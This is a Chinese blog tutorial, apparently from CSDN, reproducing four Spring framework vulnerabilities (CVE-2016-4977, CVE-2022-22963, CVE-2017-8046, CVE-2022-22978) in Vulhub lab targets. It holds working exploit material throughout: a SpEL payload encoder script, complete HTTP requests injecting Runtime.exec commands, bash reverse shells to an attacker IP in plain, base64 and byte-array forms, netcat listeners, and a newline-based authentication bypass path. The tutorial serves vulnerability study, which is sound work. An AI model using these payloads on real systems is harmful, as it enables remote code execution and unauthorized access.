• Spring框架漏洞复现及解析(CVE-2016-4977、CVE-2022-22963、CVE-2017-8046、CVE-2022-22978)


    Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

    一、漏洞简介:

    Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

    二、实验原理:

    该版本的Spring的一个错误页面存在参数获取未进行过滤,导致可以直接对服务器执行系统权限
    可通过 Springs 表达式语言 (SpEL) 构造恶意参数来执行命令。

    三、实验环境:

    攻击机(kali):192.168.200.14
    靶机(Ubuntu):192.168.200.47

    实验基于Vulhub平台进行复现
    靶机目录

    cd /vulhub/spring/CVE-2016-4977
    
    • 1

    查看当前正在运行的容器环境

    四、实验流程

    1.进入环境条件

    http://IP地址:8080
    
    • 1

    image.png
    2.访问环境
    1.Spring框架特征,web应用程序的ico小图标,是一个小绿叶
    image.png
    3.在靶机目录下存有poc.py
    image.png
    这个poc.py并不能一次getshell,而是一个用于对bash脚本进行编码的poc
    poc.py的文件内容

    #!/usr/bin/env python
    
    message = input('Enter message to encode:')
    
    poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
    
    for ch in message[1:]:
        poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 
    
    poc += ')}'
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    3.在靶机目录中提供了过程

    cat README.md 
    
    • 1

    image.png
    4.关键点是,当中提供了URL

    http://192.168.200.47:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test
    
    • 1

    触发点是:** 233 ∗ 233 ∗ ∗ ,那么肯定是将反弹 s h e l l 的生成的 p a y l o a d 把 ∗ ∗ {233*233}**,那么肯定是将反弹shell的生成的payload把** 233233,那么肯定是将反弹shell的生成的payload{233*233}**这个命令执行触发点替换即可
    image.png
    构造反弹shell

    bash -i >& /dev/tcp/192.168.200.14/8888 0>&1
    
    • 1

    使用的编码网站如下:
    https://ares-x.com/tools/runtime-exec

    image.png
    5.kali监控8888端口

    nc -lvvp 8888
    
    • 1

    image.png

    6.运行 poc.py 脚本为反向外壳生成一个 EXP:
    提示输入需要编码的字符串,将生成的反弹shell的payload复制到提示处,然后就会生成payload
    进行编码后的shell

    bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4yMDAuMTQvODg4OCA8JjEn}|{base64,-d}|{bash,-i}
    
    • 1

    image.png
    image.png
    7.在kali中进行监听8888端口,然后在浏览器中执行
    image.png
    反弹shell成功
    image.png

    另外提示,在首次执行命令会,弹出提示框,这个时候我们就随意输入数值就可
    image.png

    Spring Cloud Function SpEL 代码注入 (CVE-2022-22963)

    一、漏洞简介:

    在 Spring Cloud Function 版本 3.1.6、3.2.2 和更早版本不受支持的版本中,当使用路由功能时,用户可以提供特制的 SpEL 作为路由表达式,这可能导致远程代码执行和对本地资源的访问

    二、实验环境:

    攻击机(kali):192.168.200.14
    靶机(Ubuntu):192.168.200.47

    实验基于Vulhub平台进行复现
    靶机目录

    cd /vulhub/spring/cd /vulhub/spring/CVE-2022-22963
    
    • 1

    三、实验流程

    1.进入环境条件

    http://IP地址:8080
    
    • 1

    2.访问环境 #报错页面
    image.png
    3.根据靶场目录提示的poc
    里面含有一个和这样的数据包,

    POST /functionRouter HTTP/1.1
    Host: 192.168.200.47:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Connection: close
    spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
    Content-Type: text/plain
    Content-Length: 4
    
    test
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    执行成功后会在容器下的tmp目录创建一个名为success的文件
    抓包,放包,页面回显如下
    image.png
    4.进入容器

    docker exec -it 容器id /bin/bash    #进入到容器内,可以看到成功创建了success文件
    
    • 1

    image.png

    5.反弹shell
    首先利用bash反弹命令

    bash -i >& /dev/tcp/192.168.200.14/8888 0>&1
    
    • 1

    利用上述提供的编码网站编码

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xNC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
    
    • 1

    修改POC内容

    POST /functionRouter HTTP/1.1
    Host: 192.168.200.47:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Connection: close
    spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xNC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}")
    Content-Type: text/plain
    Content-Length: 4
    
    test
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    抓取数据包,修改数据包,释放数据包,然后出现以下界面说明反弹shell成功(监听8888端口)
    image.png
    image.png
    另外,利用工具一键反弹shell

    https://github.com/chaosec2021/EXP-POC  #链接
    
    • 1

    image.png

    Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

    一、漏洞简介

    Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码

    二、实验环境:

    攻击机(kali):192.168.200.14
    靶机(Ubuntu):192.168.200.47

    实验基于Vulhub平台进行复现
    靶机目录

    cd /vulhub/spring/CVE-2017-8046
    
    • 1

    三、实验流程

    1.进入环境条件

    http://IP地址:8080
    
    • 1

    2.访问环境 #提供的两个链接
    image.png.
    点击的第一个链接页面
    image.png
    第二个链接的页面
    image.png
    3.命令执行
    访问http://192.168.200.47:8080/customers/1,然后抓取数据包,使用PATCH请求来修改
    poc

    PATCH /customers/1 HTTP/1.1
    Host: 192.168.200.47:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json-patch+json
    Content-Length: 202
    
    [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}
    表示的命令touch /tmp/success
    这是将每个字符转为对应的十进制,用下python进行进制转换:

    payload = b'touch /tmp/success'
    bytecode = ','.join(str(i) for i in list(payload))
    print(bytecode)
    
    • 1
    • 2
    • 3

    path的值是SpEL表达式,发送上述数据包。

    释放数据包后页面
    image.png
    4.然后进入容器

    docker compose exec spring bash
    
    • 1

    看到文件已经创建好
    image.png

    5.反弹shell
    命令

    bash -i >& /dev/tcp/192.168.200.14/8888 0>&1
    
    • 1

    编码

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xNC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
    
    • 1

    进制转换
    结果

    98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,73,119,77,67,52,120,78,67,56,52,79,68,103,52,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125
    
    • 1

    修改path发包
    image.png
    反弹成功
    image.png

    参考文章:
    https://blog.csdn.net/baidu_38844729/article/details/107149916
    https://vulhub.org/#/environments/spring/CVE-2017-8046/

    CVE-2022-22978 (Spring-security 认证绕过漏洞)

    一、漏洞简介

    Spring Security 是spring项目之中的一个安全模块,可以非常方便与spring项目无缝集成。特别是在spring boot项目中加入spring security更是十分简单

    二、实验原理:

    当Spring-security使用 RegexRequestMatcher 进行权限配置,由于RegexRequestMatcher正则表达式配置权限的特性,正则表达式中包含“.”时,未经身份验证攻击者可以通过构造恶意数据包绕过身份认证

    三、实验环境:

    攻击机(kali):192.168.200.14
    靶机(Ubuntu):192.168.200.47
    实验基于Vulhub平台进行复现
    靶机目录

    cd /vulhub/spring/CVE-2022-22978
    
    • 1

    四、实验流程

    1.进入环境条件

    http://IP地址:8080
    
    • 1

    2.访问环境
    image.png
    点击admin之后的页面,提示权限不足
    image.png
    payload

    Payload: /admin/index%0a 
    
    • 1

    使用如图提示的payload,权限变为admin
    image.png
    在spring-security中利用换行符可实现权限认证进行绕过,\r的URl编码为%0d,\n的URL编码为%0a

  • 相关阅读:
    【Hack The Box】linux练习-- Shocker
    工程项目管理软件哪个好用?
    常用设计模式
    Java高级编程-----网络编程
    IBM Spectrum Symphony 获享高度可扩展、高吞吐量、低延迟的工作负载管理
    基于架构软件设计方法及应用
    字符串匹配
    Docker入门之安装Tomcat
    Java FilterWriter类的简介说明
    双目立体匹配算法:Patch Match Stereo详解
  • 原文地址:https://blog.csdn.net/Continuejww/article/details/133885736